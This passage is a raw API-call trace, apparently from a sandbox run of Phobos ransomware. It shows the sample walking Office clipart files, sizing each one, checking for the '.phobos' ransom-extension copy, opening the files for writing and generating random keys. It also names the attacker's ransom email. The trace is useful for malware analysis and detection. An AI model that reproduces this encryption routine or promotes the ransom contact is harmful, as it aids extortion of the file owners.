dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.300] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2404) returned 1 [0149.300] CloseHandle (hObject=0x580) returned 1 [0149.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0149.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.300] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.318] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2232) returned 1 [0149.318] CloseHandle (hObject=0x580) returned 1 [0149.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220 [0149.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.318] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.393] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1804) returned 1 [0149.393] CloseHandle (hObject=0x580) returned 1 [0149.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220 [0149.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.394] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.394] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=46814) returned 1 [0149.394] CloseHandle (hObject=0x580) returned 1 [0149.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220 [0149.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.396] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6068) returned 1 [0149.396] CloseHandle (hObject=0x580) returned 1 [0149.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0149.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.397] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.397] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4074) returned 1 [0149.397] CloseHandle (hObject=0x580) returned 1 [0149.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0149.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.398] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.398] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8552) returned 1 [0149.398] CloseHandle (hObject=0x580) returned 1 [0149.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220 [0149.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.398] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.399] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8424) returned 1 [0149.399] CloseHandle (hObject=0x580) returned 1 [0149.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220 [0149.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.399] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.400] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10816) returned 1 [0149.400] CloseHandle (hObject=0x580) returned 1 [0149.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0149.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.400] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.400] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7878) returned 1 [0149.401] CloseHandle (hObject=0x580) returned 1 [0149.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0149.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.403] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.404] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11002) returned 1 [0149.405] CloseHandle (hObject=0x580) returned 1 [0149.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 0x220 [0149.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.405] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.408] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16396) returned 1 [0149.408] CloseHandle (hObject=0x580) returned 1 [0149.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0149.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.409] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.410] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4796) returned 1 [0149.410] CloseHandle (hObject=0x580) returned 1 [0149.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0149.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.410] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.411] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2108) returned 1 [0149.411] CloseHandle (hObject=0x580) returned 1 [0149.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220 [0149.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.411] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.412] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5098) returned 1 [0149.412] CloseHandle (hObject=0x580) returned 1 [0149.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0149.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.412] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.413] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8926) returned 1 [0149.413] CloseHandle (hObject=0x580) returned 1 [0149.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0149.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.414] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0149.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.414] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17406) returned 1 [0149.414] CloseHandle (hObject=0x580) returned 1 [0149.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0149.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 